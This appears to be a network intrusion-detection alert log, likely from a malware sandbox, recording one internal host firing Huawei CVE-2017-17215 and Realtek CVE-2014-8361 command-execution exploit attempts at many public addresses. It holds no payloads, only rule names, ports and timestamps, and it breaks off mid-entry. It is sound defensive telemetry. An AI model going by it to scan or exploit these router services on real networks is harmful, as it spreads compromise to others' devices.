ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 193.159.96.215

Timestamp:	07/20/24-23:01:40.307219
SID:	2829579
Source Port:	46016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.240.85.125

Timestamp:	07/20/24-23:01:43.147289
SID:	2027339
Source Port:	47782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.55.165.96

Timestamp:	07/20/24-23:02:09.148759
SID:	2027339
Source Port:	60412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.84.234

Timestamp:	07/20/24-23:01:00.634292
SID:	2835222
Source Port:	51864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.86.75.249

Timestamp:	07/20/24-23:02:06.680685
SID:	2027339
Source Port:	54018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 200.250.178.79

Timestamp:	07/20/24-23:01:49.794519
SID:	2831300
Source Port:	50970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.121.50.137

Timestamp:	07/20/24-23:01:56.013827
SID:	2025132
Source Port:	57882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.59.76.250

Timestamp:	07/20/24-23:01:41.508271
SID:	2027339
Source Port:	60680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.69.136.147

Timestamp:	07/20/24-23:01:54.901420
SID:	2831300
Source Port:	53268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.187.245.173

Timestamp:	07/20/24-23:01:57.512168
SID:	2025132
Source Port:	38104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.22.90.90

Timestamp:	07/20/24-23:01:08.655109
SID:	2027339
Source Port:	44428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 222.217.185.57

Timestamp:	07/20/24-23:01:42.520139
SID:	2025132
Source Port:	36254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.194.171.63

Timestamp:	07/20/24-23:01:56.315740
SID:	2831300
Source Port:	58126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.223.215.224

Timestamp:	07/20/24-23:01:14.105908
SID:	2835222
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.238.68.11

Timestamp:	07/20/24-23:02:00.538390
SID:	2027339
Source Port:	53262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.215.4.32

Timestamp:	07/20/24-23:01:20.591862
SID:	2027339
Source Port:	56994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.133.17.143

Timestamp:	07/20/24-23:01:58.719313
SID:	2025132
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.233.70.28

Timestamp:	07/20/24-23:01:34.044152
SID:	2835222
Source Port:	34678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.194.171.63

Timestamp:	07/20/24-23:01:49.454456
SID:	2025132
Source Port:	56898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.234.100.63

Timestamp:	07/20/24-23:01:08.571946
SID:	2027339
Source Port:	54340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.182.107

Timestamp:	07/20/24-23:01:40.294677
SID:	2829579
Source Port:	33904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.114.179.188

Timestamp:	07/20/24-23:02:12.193882
SID:	2027339
Source Port:	41006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.31.86.74

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	45042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.59.116.210

Timestamp:	07/20/24-23:01:00.633810
SID:	2829579
Source Port:	40002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.36.26.52

Timestamp:	07/20/24-23:01:59.938491
SID:	2027339
Source Port:	46086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.201.79.70

Timestamp:	07/20/24-23:01:41.259813
SID:	2025132
Source Port:	46320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.245.92.167

Timestamp:	07/20/24-23:01:42.551511
SID:	2831300
Source Port:	33580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.167.254.123

Timestamp:	07/20/24-23:01:56.504220
SID:	2025132
Source Port:	45026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.0.122.40

Timestamp:	07/20/24-23:01:25.300817
SID:	2027339
Source Port:	52658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.7.143.99

Timestamp:	07/20/24-23:01:40.320408
SID:	2829579
Source Port:	40850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.30.21.28

Timestamp:	07/20/24-23:01:24.882291
SID:	2829579
Source Port:	34656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.174.160.150

Timestamp:	07/20/24-23:01:47.870904
SID:	2025132
Source Port:	46610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 73.113.35.189

Timestamp:	07/20/24-23:01:41.620386
SID:	2831300
Source Port:	49108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.162.88.124

Timestamp:	07/20/24-23:01:44.660016
SID:	2831300
Source Port:	57142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.181.192.91

Timestamp:	07/20/24-23:01:31.976795
SID:	2829579
Source Port:	53580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.219.226.207

Timestamp:	07/20/24-23:01:53.261844
SID:	2831300
Source Port:	36412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.129.227.171

Timestamp:	07/20/24-23:01:20.603553
SID:	2831300
Source Port:	59972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.114.175

Timestamp:	07/20/24-23:00:59.192052
SID:	2835222
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.3.17.176

Timestamp:	07/20/24-23:01:06.990165
SID:	2835222
Source Port:	46280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:48.576249
SID:	2027339
Source Port:	34132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.160.162.200

Timestamp:	07/20/24-23:01:51.932550
SID:	2027339
Source Port:	49520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.201.149.50

Timestamp:	07/20/24-23:01:42.304767
SID:	2027339
Source Port:	33306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.125.103.77

Timestamp:	07/20/24-23:01:31.322110
SID:	2027339
Source Port:	50904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.171.202.164

Timestamp:	07/20/24-23:01:56.007136
SID:	2831300
Source Port:	60990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.239.164.172

Timestamp:	07/20/24-23:01:52.599834
SID:	2027339
Source Port:	48136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.205.157.48

Timestamp:	07/20/24-23:01:14.097795
SID:	2829579
Source Port:	47320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.35.192.158

Timestamp:	07/20/24-23:01:41.337240
SID:	2027339
Source Port:	37948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.206.76

Timestamp:	07/20/24-23:00:59.194576
SID:	2835222
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.60.51.106

Timestamp:	07/20/24-23:02:01.201976
SID:	2027339
Source Port:	53466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.202.108.197

Timestamp:	07/20/24-23:01:25.845560
SID:	2025132
Source Port:	43370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.211.124.159

Timestamp:	07/20/24-23:01:47.385543
SID:	2025132
Source Port:	37590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.75.91.9

Timestamp:	07/20/24-23:01:55.508957
SID:	2831300
Source Port:	43964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.239.1.240

Timestamp:	07/20/24-23:01:25.388031
SID:	2027339
Source Port:	60752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.115.2.79

Timestamp:	07/20/24-23:01:47.775082
SID:	2027339
Source Port:	38104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.150.164.6

Timestamp:	07/20/24-23:01:54.177524
SID:	2027339
Source Port:	32964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.223.190.191

Timestamp:	07/20/24-23:01:59.234150
SID:	2025132
Source Port:	33340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 117.219.119.200

Timestamp:	07/20/24-23:01:02.059312
SID:	2835222
Source Port:	54822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.120.226.33

Timestamp:	07/20/24-23:01:09.891414
SID:	2027339
Source Port:	34962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.142.124.162

Timestamp:	07/20/24-23:01:51.979094
SID:	2025132
Source Port:	41372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.44.122.49

Timestamp:	07/20/24-23:01:12.806645
SID:	2027339
Source Port:	41902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.174.206.130

Timestamp:	07/20/24-23:01:52.285244
SID:	2027339
Source Port:	55514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.105.49.77

Timestamp:	07/20/24-23:01:02.093903
SID:	2829579
Source Port:	41738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 128.228.244.234

Timestamp:	07/20/24-23:01:14.013456
SID:	2829579
Source Port:	50252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.234.122

Timestamp:	07/20/24-23:01:07.066373
SID:	2835222
Source Port:	41962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.255.56.23

Timestamp:	07/20/24-23:01:31.327808
SID:	2831300
Source Port:	32914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.16.40.52

Timestamp:	07/20/24-23:01:31.974656
SID:	2829579
Source Port:	55358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.129.91.74

Timestamp:	07/20/24-23:01:31.982801
SID:	2829579
Source Port:	46168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.94.31.193

Timestamp:	07/20/24-23:01:46.416206
SID:	2831300
Source Port:	59336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.3.232.51

Timestamp:	07/20/24-23:01:50.483105
SID:	2025132
Source Port:	49882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.182.219.141

Timestamp:	07/20/24-23:01:10.666264
SID:	2027339
Source Port:	41658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.243.125.183

Timestamp:	07/20/24-23:01:53.494330
SID:	2831300
Source Port:	48532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.67.134.63

Timestamp:	07/20/24-23:01:08.912088
SID:	2027339
Source Port:	34906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.203.126.251

Timestamp:	07/20/24-23:01:41.648203
SID:	2027339
Source Port:	44442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.86.188.195

Timestamp:	07/20/24-23:01:42.699478
SID:	2831300
Source Port:	39250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.245.86.200

Timestamp:	07/20/24-23:01:11.188768
SID:	2027339
Source Port:	52494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.75.90.116

Timestamp:	07/20/24-23:01:41.960623
SID:	2831300
Source Port:	45334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.26.163.169

Timestamp:	07/20/24-23:01:53.057358
SID:	2831300
Source Port:	54552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.26.5.201

Timestamp:	07/20/24-23:01:40.311124
SID:	2829579
Source Port:	38954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.5.72.210

Timestamp:	07/20/24-23:01:20.596401
SID:	2831300
Source Port:	39248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.124.235.174

Timestamp:	07/20/24-23:01:43.946478
SID:	2025132
Source Port:	57058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.50.116.249

Timestamp:	07/20/24-23:01:57.050420
SID:	2831300
Source Port:	60922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.208.124.228

Timestamp:	07/20/24-23:01:08.672944
SID:	2831300
Source Port:	50556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.52.228.17

Timestamp:	07/20/24-23:02:48.156942
SID:	2027339
Source Port:	35430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.203.255.180

Timestamp:	07/20/24-23:01:24.934977
SID:	2829579
Source Port:	45260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.71.93.224

Timestamp:	07/20/24-23:01:25.503352
SID:	2025132
Source Port:	57016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.24.154.203

Timestamp:	07/20/24-23:01:44.466756
SID:	2027339
Source Port:	40356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 134.173.191.58

Timestamp:	07/20/24-23:01:51.932550
SID:	2831300
Source Port:	54136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.191.217.231

Timestamp:	07/20/24-23:01:10.756983
SID:	2025132
Source Port:	60230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.223.197.130

Timestamp:	07/20/24-23:00:59.192052
SID:	2835222
Source Port:	56934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.79.68.182

Timestamp:	07/20/24-23:01:14.097795
SID:	2829579
Source Port:	43802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.69.243.217

Timestamp:	07/20/24-23:01:49.921076
SID:	2027339
Source Port:	35244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 186.54.113.175

Timestamp:	07/20/24-23:01:32.028836
SID:	2835222
Source Port:	45492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.114.113.132

Timestamp:	07/20/24-23:01:20.113254
SID:	2829579
Source Port:	56802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.41.17.240

Timestamp:	07/20/24-23:01:04.082384
SID:	2829579
Source Port:	58620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 202.29.220.93

Timestamp:	07/20/24-23:02:04.208558
SID:	2831300
Source Port:	38938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.167.95.17

Timestamp:	07/20/24-23:01:44.302645
SID:	2027339
Source Port:	44116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.128.48

Timestamp:	07/20/24-23:01:00.654988
SID:	2835222
Source Port:	46836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.119.215

Timestamp:	07/20/24-23:01:34.046616
SID:	2835222
Source Port:	32822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.63.90.68

Timestamp:	07/20/24-23:01:44.295391
SID:	2027339
Source Port:	50356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.1.75.175

